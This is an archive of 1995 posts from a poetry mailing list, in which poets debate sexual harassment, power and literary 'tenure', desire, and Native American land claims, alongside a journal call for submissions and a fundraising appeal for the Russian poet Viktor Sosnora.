Kevin, Ed, & others, I really regret my agist remark, feel awful having made it. A very stupid, cruel and thoughtless thing to have said. I take full responsibility for it, apologize, and hope you can forgive me. It doesn't, of course, matter how old someone is if s/he's harassing someone else. I was overreacting to something George had said re Ginsberg: "Do you expect him to hit on other older poets?" That made me very angry, and I didn't think well enough through my response. I was speaking of instances where someone had said--repeatedly--"no"--& where that "no" was not taken seriously. Ed, I'd hope you'd know me well enough to know I'm not an advocate of either censorship or repression. I feel terrible not only that my post was agist, but that it seems to have lead you to believe I *am* advocating these things. Wystan, Ron, how did you manage to transpose St. Paul, Minnesota for Tucson, Arizona? The woman who related the events that occurred in Tucson is now in St. Paul, but the events, again, took place in Tucson. Ron, this all originally came up in a discussion about Ginsberg, & in that discussion I thought I made clear the relationship between aesthetics/behavior in that instance. You're right, though,

to point out that harassment itself has nothing to do with aesthetics; I do think, at least in Ginsberg's case, his aesthetics get used by others when "apologizing" for some of his behavior. I don't "get" Rae's post, Ron, or your reading of it. I don't follow how you can say that Rae is "right about poets and power" (she seems to be denying they have any--am I misreading that?) and then, "Ginsberg's mistake [is] in serving as a cover for a group that acts as if power is not an issue..." Could you clarify this apparent contradiction? Rae, everyone--including poets--has power. It hardly matters whether or not they seek it out or even want it. My wife Marta, when she was sixteen, told her mother that her (Marta's) stepfather had been sexually abusing her--this was while Marta & her mother were in the car, and her mother's response to this, either not wanting to believe that her second husband was capable of doing that or not wanting to deal with the responsibility of that knowledge, ordered Marta out of the car. They were somewhere in the middle of Stockton. Marta got out, has been home only once--with me, many years later & while her stepfather was away on business--since. I think Marta's mother was in a position of (admittedly unasked-for) power, and--through denial--misused it. There's nothing wrong with power. It's the abuse or misuse of it (& denial of power can easily lead to abuse or misuse) that Ira and I are talking about. This relates to the "responsibility" dialogue. Ed, I'm surprised that you think so poorly of the word, considering that you seem like one of the most responsible editors in the U.S. Like Kevin & Dodie's _Mirage_, your _Talisman_ is one of few magazines that feels, to me, like the product of "responsible" editing. Not simply that it comes out regularly, but that it doesn't feel--in comparison to _Sulfur_ or _Conjunctions_--like a closed, "tenure-based," arena. _Talisman_ and _Mirage_ are two places where I'm always delighted to find work, & a lot of it, by people I'd never heard of before. (_Mirage_ provided me with the first opportunity to read Ira Lightman's work--though some was also printed in _lyric&_, another personal fave.) I may well be projecting or otherwise misreading by seeing that as "responsible" editing, and my notion of "responsibility" might be silly, reductive and/or irrelevant--and if so, please don't hesitate to tell me, & to do that en length. While I appreciate Colleen's enthusiasm for the economy of epigram, I usually get more--here, anyway--out of somewhat lengthier, detailed statements/arguments/points of view. Finally, I'm constantly surprised reading responses to posts that take statements made out of what seem to me to be genuine concern or a particular way of thinking, feeling or "being," and flatten them to "strategy." Am I naive in believing that a good portion of the posts I've read (in the 2 months I've been reading them) might actually be representative of how people think, or feel? If they're not, or if someone feels they're nothing more than canon- or tenure- or cred-pitching, it's beyond me why anyone who felt that way would waste their time reading them. Yours, Gary

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91. Gary Sullivan
Re: Desire, Ira Lightman
Wed 5 Apr 1995

Dear Rae:

A longer post about this is bouncing around in e-space, will probably show up after this one. Wanted to address your "Victorian." Yes, the young woman had responsibility. Unfortunately, in this situation, she had at least two competing responsibilities. She was the person in charge of reading-coordinations. She was new to the job. It was her responsibility to make arrangements for the readers, and also, simply, to "be there," for the reading, & so on. She was not powerless, but her newness to the situation, her wanting to "do a good job" probably played somewhat into her "allowing" (assuming saying no, but not leaving her job-post, is "allowing") what transpired to transpire. She had a number of things going against her: Newness to the job, youth (i.e., less "life-experience" than someone older would've had), and a non-supportive environment. There's a reason why more rapes or acts of sexual harassment don't get reported than do. Another issue you're not considering is shame, that the victim of sexual abuse of any kind often -- despite whatever the events -- tend to blame themselves and/or experience an enormous amount of shame. More people that I know *have* been sexually abused, harassed and/or raped than not -- and in all of these instances the person on the receiving end is in conflict w/respect to their own "participation." It's a very complex issue, and not fully understood by "it takes two to tango"-type dismissals. Yours,
Gary

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92. FUNKHOUSER CHRISTOPH
CALL FOR SUBMISSIONS (New E-Journal)
Wed 5 Apr 1995

> *From: CAP-L <[redacted]>*
> *Subject: CALL FOR SUBMISSIONS (New E-Journal) (fwd)*
> *To: Multiple recipients of list CAP-L <[redacted]>*
>
> *---------- Forwarded message ----------*
> *Date: Wed, 5 Apr 1995 10:12:19 -0500 (CDT)*
> *From: Tommy S Kim <[redacted]>*
> *To: [redacted]*
> *Subject: CALL FOR SUBMISSIONS (New E-Journal) (fwd)*

i thought some of you in the mFA program might be interested in this so...

---------- Forwarded message ----------
Date: Sun, 02 Apr 1995 20:34:48 -0500 (CDT)
From: Matthew David Franz <[redacted]>
To: [redacted]
Subject: CALL FOR SUBMISSIONS (New E-Journal)

*********** CALL FOR SUBMISSIONS **********

(Apologies in advance for multiple/cross-posts)

*GRUENE STREET: An Internet journal of poetry and prose invites submissions of prose ([redacted] words) and poetry (under 60 lines) for its premiere issue to appear late Summer/early Fall 1995. The editors of GRUENE STREET seek to provide an outlet for high-quality prose and poetry that merits a sophisticated on-line audience, hoping to publish writing that at least *aspires* to the quality of work that appears in mainstrem literary journals such as _Kansas Quarterly_, _Cimmaron Review_, etc.--providing an alternative to the 'zines and zine-like publications currently found on the net. GRUENE STREET accepts multiple and simultaneous submissions as well as previously-published work.*

*** Submission Guidelines in Brief ***

FICTION no obvious genre-fiction (sci-fi, fantasy, romance, etc.) excerpted novels OK.

*POETRY vivid, sharp, memorable, but with something to say. No *gratuitous* erotica or violence.*

*ESSAYS various subjects that might be of interest to a general/academic audience including education (such as critical pedagogy), literary and cultural criticism, non-sectarian politics, etc.***

*** we have a particular interest in publishing well-written essays (including analytical book reviews) and anticipate receiving far more fiction/poetry than non-fiction--so if in doubt, give us a try.*

SUBMIT manuscripts via e-mail to editors at <Internet: [redacted]> in ASCII text or HTML format. If your work is already somewhere on the WWW (such as your home page) send your URL. For more detailed info contact the editors at [redacted] or check out our home page on the World Wide Web.

+----------+

> | *Gruene Street: an Internet journal of poetry and prose* |
> +----------+
> | *SEND SUBMSSIONS to* [redacted]. *For more information* |
> | *contact the editors at email:* [redacted] *or our WWW site* |
> | *http://www-bprc.mps.ohio-state.edu/cgi-bin/hpp/gruene.html* |
> +----------+

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93. Andrew Joron
sexual harassment
Wed 5 Apr 1995

I'm surprised by the backlash against Gary Sullivan's condemnation of sexual harassment. A "liberal" attitude toward the problem can only serve to reinforce the inequities of the status quo, it seems to me. Dear Ed Foster, would you defend Clarence Thomas by saying that Anita Hill "wasn't exactly in nursery school"? Rae Armantrout's question on whether poets really have any power strikes me as a bit disingenuous. If someone is a poet, is that person therefore incapable of sexually oppressing others? How can anyone deny that academic & literary settings are rife with status and power games, including sexual ones? It may be "un-cosmopolitan" to denounce that situation, but the first task of activism is to vanquish cynicism. -- Andrew Joron

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94. Tony Green
Power & Fame (longish)
Wed 5 Apr 1995

The following is a letter I wrote on Tuesday at home. I have tried unsuccessfully to get it out as an attachment to a post. It is a reply, in part, to a back channel post from John Geraets. I'd like to share it with the net, though. [I should add the following annotations: James Baxter, NZ poet, collected by Oxford U.P., Colin, is his friend Colin McCahon, NZ painter, who painted series of paintings of the Statins of the Cross as a memorial for Baxter in 1973; Stefan is my son, 11 years old, approaching 12, Sean Hoppe is a rugby league player, a fine winger, playing for the Auckland Warriors.]

A LETTER ON THE NET FOR JOHN GERAETS

Dear John,

Do you regard me as a rival or as
a collaborator? You are much mor likely

to end up as a boxed set of CDROM-multimedia
poetry than I am. I lack the will.

My effort is elsewise but would like to find
common ground. The electronic forum gets to be
really interesting when it is used for intimate
correspondence, done

in a public space. The questions you ask me had
me feeling like an ikon for an uncomfortable while.
I decided I didn't want to be *groovy*. The public
status too easily forces a simplification that

is traductive rather than reductive. {traduire/
trahir} Translation is always a betrayal as it lays
one idiom over another, stifling the one beneath. It
can breathe life into a corpse. Also.

But what I wanted to say was:

I've always wanted to do something famous, be in the
Encyclopaedia of World Fame. (It will be mine! as Wayne
says in Wayne's World -- a White Stratocaster.) I'm really
taken with Baxter's "Jerusalem Sonnets" 39 poems (Steps, Steppes)

dedicated to Colin. Thinking how dear old Colin returned the compliment.
Poetry is a good genre for stating that which one would like to be permanent,
memorable, marmoreal (rather than hyperreal -- here today gone tomorrow --).
This is the

consequential chain of thought regarding being an ikon. I want to be an ikon in
another category, maybe superstar, maybe saint, very unlikely. How abt poet?
Hmm, good one, nice call...but that's not what I reckon I do best. What I do
reckon on is to do

with pictures, and on that one I feel like he who cracked the genetic code or
something Nobel. My mother would be glad, though would have no idea what it
was all about, and would continue to regard me as a nice enough person, but
one who had not at all succeeded as intended.

But I don't reckon being an ikon would be really any good for what I am doing.
It would be a serious distraction to have press at the door. I observe Rugby
League squeezed dry for its investment potential by TV Moguls. All the money
at the top drains it away from the amusement seekers who like to play football
at weekends {Just for the kicks}. Eventually the pool of talent empties. It is
just like the use of Natural Resources. Whatever happened to Golden Roughies
after=

|||||Sean Hoppe lives up the top of the drive, just moved in, with an SZ numberplate red Celica. Stefan took him a number of articles of clothing for him to autograph last night, even tho the Warriors have lost four in a row. They'll probably end up in Murdoch's Super League.||||

its feeding ground was discovered? Here Local Body politicians are taking over the management of the Auckland Institute's Museum, by Act of Parliament, removing the scientists and scholars of the Institute from control, and therefore effectively putting freedom of speech on issues such as race relations of said scholars and scientists under direct political supervision. {{Did something like that happen at the Bishop Museum, Hawaii?}} New Vice-Chancellor Carson, in Auckland's University is talking about precisely the same issue when he sees the Government preparing to change the composition of the governing Council of the University

so that the majority would be government appointees. Academic friends who think I am just paranoid may well find themselves wishing they had acted sooner. The present initiative recognises that money will talk loudest in the end and that

the University like the Museum could be forced to agree because Government holds the purse-strings.....

[There is some more but that's enough already....]

Love,

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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95. Edward Foster
Re: poeticslist and Desire
Wed 5 Apr 1995

cris, re: private and public. in poetry, the private is public, completely. the rest is business, right?

↑ Index

96. **Edward Foster**
Re: Desire
Wed 5 Apr 1995

friend got me reading remy de gourmont again, esp. because of this poetry chat line disc. of desire. remy de gourmont's a beautiful writer but was horribly disfigured and the beauty (among the most sexually true you'll find) is all in the words.

↑ Index

97. **Edward Foster**
Re: Desire, responsibility, etc.
Wed 5 Apr 1995

gary: hmmmm. however t. is/is not edited, i don't much like "irresponsible" friends (doing horrible things like not washing their dishes) but in friends--as in poetry and poets--one would much prefer desire to responsibility, no?

↑ Index

98. **Edward Foster**
Re: poeticslist and Desire
Wed 5 Apr 1995

wouldn't it be interesting if congress, cleansing cyberspace, should turn to this poetry chat line for ammunition?

↑ Index

99. **Chris Scheil**
Re: Native Americans
Wed 5 Apr 1995

Blair Seagram wrote:

But in a way, I resent the fact that many people today are being held responsible for a charter that was made two hundred years ago between the government of Canada and the Indians. And part of the reason I resent it is because I see people who have owned a piece of land for three or four generations, now under attack by any one who has an ounce of Indian blood in them, claiming that the land is theirs. How does one begin to right all the wrongs? How do you turn back time? I know this is slightly off the topic, and I only lay myself open to criticism. But as I glibly acknowlegde the validity of other cultures in a totally different mind set, I am acutely aware of the difficulty of settling the differences that are result of western civilization and its desire to conquer.

In response to this, a quote from Guy Davenport:

"But of course, this is not so. The Indians are probably more numerous now than at the time of Columbus's discovery. They are a vigorous people. After four hundred years of stubborn refusal to accept the gift of Europe, which we have by now corrupted out of all resemblance to anything like a civilization, they should be brought to the council tables with all the old treaties in their hands. The idea that time cannot be reversed is mere Enlightenment dogma, liberal twaddle. And the sovereignity of the State is a totalitarian idea useful only to collect taxes. Let the Indian nations exist again within our borders."

Davenport is right, particularily about the myth of irreversible time; We (meaning us children of Old Europa) trot out this facile little truism whenever faced with rectifying some particularily painful historical error (painful to us, that is). We enslave one race, try to massacre another, and when that doesn't work, we desperately try to subsume their cultural identities in whatever fictive set of social norms we've fabricated for ourselves. When that turns out to be unsuccessful, we comfort ourselves (and throw off that strange Eurocentric feeling: historical guilt) by throwing up our hands and saying: "so sorry for your pain, but that was on our ancestors'(read: backwards, unsophisticated, and therefore innocent of malice) heads, not ours." Which is, of course, bullshit. Where it not so, I doubt that such historical actions as the creation of Israel, Zimbabwe, the reformation of a Sovereign Ukraine, Latvia, and Lithuania would (or should) ever had occured. Truth is, we took Native American land, killed off as many as we could, then threw the rest on whatever spare acreage we didn't have a use for (at least until such time as we needed the oil or uranium deposits).

Which brings me to point two: why does a farm family have more of a right to a certain piece of land than a Native American tribe? Answer: because they are European and because the dominant culture claims to operate under European customs and laws. A farmer owns his land precisely because the State says he owns it. The whole argument you posit concerning the relative rights to the land is based on this Eurocentric fallacy, and by expressing ambivalence towards the processes that led to the current situation even while tacitly accepting that situation, you end up coming down on the European side. Which to my mind, makes whatever ambivalence one might feel somewhat facile and ultimately self-serving.

Sorry if this post is somewhat strident (no personal offense is intended), but this is a subject about which I feel particularily strongly, and which all too often lends itself to a type of liberal hand-wringing do-nothingness that I find particularily offensive.

Chris Scheil

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100. cris cheek
desire
Wed 5 Apr 1995

Curious. I'm on 3 lists that all switched subject almost eerily in sync. This list went 'desire' as CAP-L (which I must admit bores the whole out of me but for some masochistic reason my subscription hangs on in there) lead with 'beauty and politics' and ht-lit swerved into 'digital salivation'.

Transcendence or co-incidence? To finish off my little session I can't believe I just sent someone a message in which the appalling phrase (written in all innocence - I think) 'because my disc went down on me' loomed out of context from the rhythm-of-the-sea-blue screen.

cris

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101. Wystan Curnow
Re: Desire, responsibility, etc.
Wed 5 Apr 1995

Dear Gary, I am sorry I confused St Paul and Tucson, lack of close reading on my part. You can tell me if they are very different--one's a colder place than the otherI guess and I'm sure they both in songs, but in different songs?

I forgive you for your agism, you'll be glad to know I was not deeply wounded by it. What did interest me about your post, and here I will be a bit personal when it is precisely the personal in all this which is a worry, what did interest me is that having begged forgiveness for your sins you wanted then to end your post with what I took to be an accusation of a sort. It was as though you were balancing the books in some fashion.

There you make this contrast, and it is a heavy moral one, between expressions of heartfelt concerns and flattening comments reducing such expressions to those of "strategy". What I want to ask is this: wasn't the shift you effected in the discussion of Ginsberg's aesthetics to the personal and thence to the moral the deploying of a strategy, and was it not reductive of the issues, ie. flattening? I don't mind that the discussion changed direction--sidetracking keeps the net active.I also consider the person-to-person character of much posting on the net is one of its pluses. But that isn't to say I have to accept, let alone applaud, its claims to transparence. Best wishes, Wystan.

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102. **Jed**
Re: Julius Hemphill
Wed 5 Apr 1995

Thanks to Aldon Nielson for the news of Julius Hemphill's passing. I'd feared as much, given that his last recording ("Five Chord Stud" on Black Saint) featu red "The Julius Hemphill Sextet" without JH himself playing, though as conducto r/composer his presence was indelible as ever. He was playing on the sextet's previous "Fat Man and the Hard Blues." He seems to have had a special knack for reaching inside other people's playing. Uncanny. I caught the World Saxophone Quartet many times over the years and, while he clearly didn't have the energy toward the end, he still somehow summoned everything around him, like Stevens' jar in Tennessee. Aldon, is "Dogon A.D." available on cd? It was a cutout on lp for many years, & probably still possible to skim up in vinyl bins. It's got a dirtgrit undertone to it that most jazz producers shy away from, as does its companion album, "Coon Bidness." Pieces from both these discs were done in an inspired concert at Willisau in '84 by Hemphill's "JAH band"--issued as "Georgi a Blue" (Minor Music). The LA poet K. Curtis Lyle's poem "Drunk on God" is feat ured on Hemphill's only large ensemble recording, "Julius Hemphill Big Band" (Elektra) & well worth scouting down. There are another half dozen of his, but I should mention the stunning homage by Tim Berne that came out last year: "Diminutive Mysteries" (JMT), featuring compositions written by JH for the project, along with a 21 minute Dedalian twist by Berne that will pry your ears all the way back to the fur.
--Jed Rasula

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103. **Tony Green**
desire
Thu 6 Apr 1995

Where will this talk of desire and of sex lead? Will it be to theophanism and Ibn 'Arabi....again? [There's an Olsonian theme]. See Henry Corbin's "Creative Imagination in the Sufism of Ibn 'Arabi" trans. R.Manheim (Bollingen Series XCI)Princeton, 1969 and "Avicenna and the Visionary Recital. trans Willard R.Trask, Pantheon Books,NYC.1960. New edition 1980 Spring Publications ltd, University of Dallas, Texas.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,

Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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104. braman sandra

Re: desire

Thu 6 Apr 1995

Cris Creek -- The consonance among different lists you mention is fascinating. Can you unpack what the other two lists are for us? Sandra Braman

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105. Spencer Selby

Re: Power

Thu 6 Apr 1995

Dear Wystan,

Nothing changed because no one did what I asked. Seriously, I agree with Ira, Gary and Andrew--to say that poets can't/don't have power is ridiculous. As Ira preceptively points out, the problem of poets' power is greater in the avant garde world because that world is smaller and sort of isolated.

In a situation where poets are, for the most part, their own audience, critics and publishers, having some stature, clout or influence can be a pretty big deal. Most poets behave as if they're only too aware of this, whether they admit it or not.

On Wed, 5 Apr 1995, Wystan Curnow wrote:

> *Dear Selby,*
> *Nothing changed.*
> *Wystan*

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106. Ron Silliman

Power

Thu 6 Apr 1995

I've been surprised at how reified and mystified the term *power* seems to be in these discussions. There are of course all kinds of power, an infinite variety of shadings and nuances. To collapse them into a does/does not binary system seems not of great value.

Most of the power that poets have (and this may be true of large portions of what old Althusser used to call ideological state appartatuses) seems specifically conferred by readers and other writers. Almost a "consent of the governed."

I doubt that there can be many/any of us on this list who have not seen the underbelly of power at its most horrific at one point or other, and who have not sworn to ourselves in private (and often enough to others in public) not to allow that to happen (to us or others) and never if possible to be the origin of such abuse. Having been raised by a psychotic who chased me around the house with knives, I can sympathize with Marta and do. But it doesn't simplify the state of the world much to know that. When Gary extends the argument to rope in Sulfur & Conjunctions as tenure driven academic mags, I get lost. Whatever their faults (and each mag is radically different), neither gives a hoot about that system of academic power. What we get is not a critique so much as resentment over imagined exclusion.

(Althusser himself being a pretty good example of how power shoud not be used....)

Ron

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107. Lindz Williamson

SEX!, just to get your attention.

Thu 6 Apr 1995

Eric wrote

" Therefore everything goes, in sex and poetry, except of course that everything cannot go because everything comes from a context of powersex relations. Our sexed bodies, whether textual or tactile, in some sense imaginative constructions/fictions, but isn't this where the fun comes in? All of us drag queens, butches,femmes, acting out a fantasy of historically determined sex and finally I think this where sexpoetry can go from here which is to penetrate/be penetrated into/by the fictions of our sex? Woops, am I talking about narrative?"

Combining textual and tactile elements in poetry or sex poetry is an interesting fusion of sense and emotion, (sense in the logical and physical realm). I started thinking about what Ryan had said about writing into and away from the langauge, then combining it with writing into and away from my sex and my desires. I've been readiing Ovid and I like the way he made love poetry his full time job. he did not deal strictly with his emotional reaction to his love of the moment but infused cultural and social implications into his poetry and the

relationship. He used a narrative voice but it lacks the pathetic dribble of "Why so pale and wan fond lover" in the narrative. He is erotic and sensual and yet there is some form of objectivity in his subject matter. However his objectivity may come from the basis that he was not monogamous.

Lindz

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108. **cris cheek**
Re: poeticslist and Desire
Thu 6 Apr 1995

---

where garden and gateway and common and street, respectively sample

overhung balconies, pierced lattices, recessed arches, worn steps - working in a non-linear fashion in a non-linear world

I like what Tony Green said ' the electronic forum gets to be
really interesting when it is used for intimate
correspondence, done in a public space.'

My gut agrees when you say 'in poetry, the private is public, completely' Ed. But something else that wants to qualify is nagging. I'd go for an embracing 'and between' position - that poetry negotiates the public and private at all stages of its processes of 'production' and 'consumption'. The interpenetration of consciousnesses. Yuk - so much prevaricating intellectual goo flown here. But something in that. As to 'the rest is business, right?'. I'd say that trade forms part of that negotiation. But I'm not convinced that's what you meant.

cris

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109. **Chris Stroffolino**
prevaricating intellectual goo (sex power...)
Thu 6 Apr 1995

I'm kinda suprised this conversation has not turned to LAcanian terms about the difference between genders (if not sexes) and men using the dreaded signifying phallus anf masculine symbolic as crutches to make up for their womb envy or something...but then we open the whole "can of worms" os sexism/feminism, don't we.... Cs

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110. **Gary Sullivan**
Consent of the governing
Thu 6 Apr 1995

Ron, I guess I didn't explain myself well enough. I put quotes around the word "tenure" w/respect to _Sulfur_ and _Conjunctions_, hoping that would encourage a looser reading of that word. I'm not talking about academic tenure. I'm talking about "poetry world" tenure--admittedly more tenuous than academic tenure, though both are based on seniority and/or politics. I know a number of people in academia, and though they are all very different people, ranging from their 20s to their 50s, some with tenure, some at the graduate student level, all of them complain of, or at the very least freely acknowledge, academic politics, the role it plays with respect to receiving (official) tenure or not, the role it plays simply in terms of whether or not you get a job in the first place. People in offices I've worked freely admit, whatever their situation (manager or data-entry person), "office politics." Same for every restaurant, retail, book-review, stand-up comedy gig I've had. (I've had more than 20 different jobs in my lifetime, and only a handful of those weren't gotten because I was a friend of someone who already worked there. In most other cases, I was hired on after having worked through a temp agency.) The only place in my limited experience where terms like "politics," "tenure," "seniority," "favor-exchanging," & so on are denied is in the poetry world. We'd like to think we're "above" all that. I don't think we are. We're human beings, after all. There is such a thing as literary politics, as well as literary "tenure." You, Ron, I consider tenured. You may be uncomfortable with that, may feel it's "all in the mind," but I think it does have consequences--good ones--for you, & for others associated w/you. You write a book, it gets published. A publisher (Drogue) who is denied access to SPD gains access after accepting your work for publication. (I happened to tell someone, several months ago, at SPD that Drogue was publishing _(R)_, to which said person at SPD said, "Oh, we'd rejected them before; but, now that they're publishing Silliman, we'll have to sign them up.") You submit to _Sulfur_, the work will at the very least get read. Please, please don't try to kid me or anyone else into believing my work (or theirs, assuming they don't have a book or two out) is going to even be *read* by _Sulfur_ or _Conjunctions_ editors when we both know very well it probably isn't--at least, not unless it gets submitted by someone with "pull," or "tenure." They're *very* exclusionary magazines, at least compared to journals like _Mirage_ and _Talisman_. Ed Foster, what you say about "desire" and "responsibility" I find very agreeable. Ron, I think Ed and Kevin & Dodie publish work out of a sense of "desire"--they genuinely *like* that work; I think Eshleman and Morrow publish based on seniority & politics, first, everything else, second. I don't resent at all that _Sulfur_ and _Conjunctions_ wouldn't, if I bothered to submit

work, read it; I feel as ambivalent toward them as you do to coverage or not in the _Times_. I've never submitted to them because I'm simply not thrilled with a lot of the work they publish. Neither do I resent your tenure, Ron; I'm happy for you that your work gets consistently published in book form; I'm happy for myself, too, because otherwise I'd have to pester you (as I do with a lot of people) to send me your work in manuscript. But, really, Ron: "Consent of the governed"? Consent of the governing is what matters. If it were really up to us governeds, our books would be published, & once published, carried by SPD, and once carried by SPD, reviewed in magazines, etc. When looking around at all the books in print, names in big magazines, etc., in 1972, did you feel you & your collegues had any say in that? Your wonderful piece, "The Soft Hello" in _Salt Lick_ from that year, I have the sense you were very dissatisfied with what you saw. Was that resentment of imagined exclusion? I don't get that sense at all, Ron. I think you cared, very much, about these issues. If I'm putting words in your mouth, misreading you, let me know. Even your "New Hope for the Disappeared," written some 20 years later, has you addressing--less emphatically, but no less convincingly--these very same issues. Yours, Gary

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111. Tony Green

Re: Power & Fame (longish)

Thu 6 Apr 1995

It looks like the Warriors will go with Murdoch and I suppose that means the lot of them. All the four injured Warriors are fit to play tonight against Manly (inc Hoppe,neck, -- Bell with a broken thumb, Kearney with a back problem, who's the 4th?). It will be wet! I wdn't want to predict a score. We'll be camped round the TV. Season tickets for the Warriors go for a mere $150 NZ., as advertised by Andy Platt and Dean Bell last night. What I say is, poetry in motion. Cheers.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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112. Carl Lynden Peters
CHARLES WATTS
Thu 6 Apr 1995

thurs., april 6 '95

dear charles,

george came into my office (which is really the grad lounge, but it has a coffee machine) and told me that i should try & reach you regarding the blazer conference here this summer, and i want to let you know i'd be willing to help you out in any way re organizing or whatever work you have for me. i'm off to calgary in the morning for the bpNichol conference and wont be back till the 10th. --i'll come by the special collections next week to see you about this

take care,

carl

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113. Edward Foster
Re: sexual harassment
Thu 6 Apr 1995

oh, andrew, i wouldn't defend mr. thomas or the status quo, surely, nor would i defend the self-righteous, among others. the answer is: go away, write your poems, and stop making poetry look like a talk show.

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114. Ryan Knighton
Re: poeticslist and Desire
Thu 6 Apr 1995

Regarding public and private schtuff, I think I agree with Stein: the private is private and the public is public. I've got a Yeats mask on too.

Ryan

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115. Spencer Selby
Re: Power
Thu 6 Apr 1995

---Of course there are different kinds of power. However, a lot of the difference has to do with degrees and stakes, not different meanings of the term.

---My wife and I have had this running conversation for quite some time, where we compare my experience in the literary world to hers in the corporate financial world. An ongoing theme of our dialogue is the similarity of power-seeking and power-protecting behaviors in these two very different realms.

---The other side of "resentment over exclusion" is "appreciation based on support." It's always the other guy whose judgment is selfish, overly subjective or flawed.

---"Consent of the governed" in this discussion sounds to me like the kind of reasoning that is used by lawyers to defend date rapists. On the other hand, I can see what Ron is saying in a more general sense. I see all the time how poets encourage and flatter the egos of those they admire or look up to. Quite often this kind of consent is actually one of the classic power-seeking (and sometimes protecting) behaviors, known in the vernacular as butt-kissing. It would be great if this behavior never paid off, but such is not the case, in either the literary world or the corporate.

Spencer Selby

On Thu, 6 Apr 1995, Ron Silliman wrote:

> *I've been surprised at how reified and mystified the term *power* seems to be in these discussions. There are of course all kinds of power, an infinite variety of shadings and nuances. To collapse them into a does/does not binary system seems not of great value.*
>
> *Most of the power that poets have (and this may be true of large portions of what old Althusser used to call ideological state appartatuses) seems specifically conferred by readers and other writers. Almost a "consent of the governed."*
>
> *I doubt that there can be many/any of us on this list who have not seen the underbelly of power at its most horrific at one point or other, and who have not sworn to ourselves in private (and often enough to others in public) not to allow that to happen (to us or others) and never if possible to be the origin of such abuse. Having been raised by a psychotic who chased me around the house with knives, I can sympathize with Marta and do. But it doesn't simplify the state of the world much to know that. When Gary extends the argument to rope in Sulfur & Conjunctions as tenure driven academic mags, I get lost. Whatever their faults (and each mag is radically different), neither gives a hoot about that system of academic power. What we get is not a critique so much as resentment over imagined exclusion.*
>
> *(Althusser himself being a pretty good example of how power shoud not be used....)*

> *Ron*

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116. Gary Sullivan
Re: Desire, responsibility, etc.
Thu 6 Apr 1995

On 6 Apr 1995 [redacted] wrote:

> *Dear Gary,*
> *I am sorry I confused St Paul and Tucson, lack of close reading on my part. You can tell me if they are very different--one's a colder place than the otherI guess and I'm sure they both in songs, but in different songs?*

Not having met you, Wystan, nor having ever been to Tucson, I would imagine that Tucson and St. Paul are as different--and similar--as you & I.

> *I forgive you for your agism, you'll be glad to know I was not deeply wounded by it. What did interest me about your post, and here I will be a bit personal when it is precisely the personal in all this which is a worry, what did interest me is that having begged forgiveness for your sins you wanted then to end your post with what I took to be an accusation of a sort. It was as though you were balancing the books in some fashion.*

Quite possibly. Why is "the personal" a worry to you?

> *There you make this contrast, and it is a heavy moral one, between expressions of heartfelt concerns and flattening comments reducing such expressions to those of "strategy". What I want to ask is this: wasn't the shift you effected in the discussion of Ginsberg's aesthetics to the personal and thence to the moral the deploying of a strategy, and was it not reductive of the issues, ie. flattening?*

In the sense that thinking about something, and then saying it, is "strategizing"--yes. I gave very little consideration to the shift, which is not to say that the shift itself didn't occur. I was arguing/engaging in a dialogue about Ginsberg w/you and others. I said what I thought to be relevant. You don't, of course have to agree w/me that it *was* indeed relevant. But I did think it was, which was why I brought it up.

> *I don't mind that the discussion*
> *changed direction--sidetracking keeps the net active.I also consider the person-to-person character of much posting on the net is one of its pluses. But that isn't to say I have to accept, let alone applaud, its claims to transparence.*

We agree with the first two statements. I have a problem with the words "applaud" and "claim" in the last sentence. You're implying I was asking you to applaud something. I didn't go that far. I did suggest we might accept that people here--forget me in this--other people here are saying things that they really do believe and/or care about. If I thought genuine expression of belief or feelings was impossible in this space, I'd leave. It's bad enough people read subtexts into everything. I understand how easily that happens, since we're all readers of poetry, almost "expect" subtext. But it has seemed to make communication here much more difficult than it might otherwise be. I'm trying to express certain opinions, ideas, emotions, as well as impart information and sell a few copies of a book or two--and I think that's what everyone else here is trying to do too. Sure, there are things going on under and over the surface of some of this--including in things I've posted. But everything? I tend to be a somewhat cynical person, but certainly not wholly suspicious of others, even those with whom--like you, on this--I disagree.

I wonder, Wystan--are your worries about "the personal" and your disbelief at the sincerity of anything said here related? Do you think "the personal" should be kept out of all of this? Would you rather it all be abstract? Comfortable? Living is not always either.

Yours,

Gary

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117. Ron Silliman
Viktor Sosnora
Fri 7 Apr 1995

April 6, Dear Ron, Could you do me the favor of forwarding the following message to the poetics list and/or whatever other recipients you think might receive it appropriately and with kindness. Ilya sent it to me (in Russian) and what I am sending is my translation -- slightly emended for U.S. readers. Thanks. Much love, Lyn

Dear Friends, The Russian poet Viktor Sosnora is threatened with the complete loss of his sight. Because Sosnora, who is 60 years old, has already entirely lost his hearing, blindness would bring about his complete isolation, cutting him off from life and from his work. Sosnora is one of the greatest of living Russian poets. Though associated with such wellknown figures as Bella Akhmadulina and Andrei Vosnesensky and other poets of the "60s generation," Sosnora's writing was for many years banned in the Soviet Union, and it was a Russian language publisher in the U.S., Ardis, that brought out his COLLECTED WORKS (1988). Over the past six years, Sosnora has undergone three eye

operations in Russia, but his vision has continued to deteriorate. At the moment, another operation, using advanced techniques, is urgently needed. We have arranged for Viktor Sosnora to enter Johns Hopkins Medical Center in Baltimore, where the most advanced surgical procedures appropriate to his condition are available. May 10 is already fixed as the date of his surgery. Everything now depends on money. The complete medical examination and surgery will coast a minimum of $10,000. In addition to this, approximately $1000 is needed to cover the cost of airfare between St Petersburg and the U.S., and a futher $1000 will be required to allow Sosnora to spend a month after surgery in the U.S., to allow for medical follow-up and recuperation. Altogether, then, $12,000 is needed, and most of that must be raised by early May. We are appealing to everyone who is able to do so to contribute to the fund for Viktor Sosnora. Checks may be made out to "LITFUND (for Viktor Sosnora)" and mailed to LITFUND, c/o Novoye Russkoye Slovo, 111 Fifth Avenue, New York, NY 10003. Thank you. Signed: Joseph Brodsky, Allen Ginsberg, Ilya Kutik, Mikhail Epshstein

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118. Chris Stroffolino

Re: Consent of the governing

Fri 7 Apr 1995

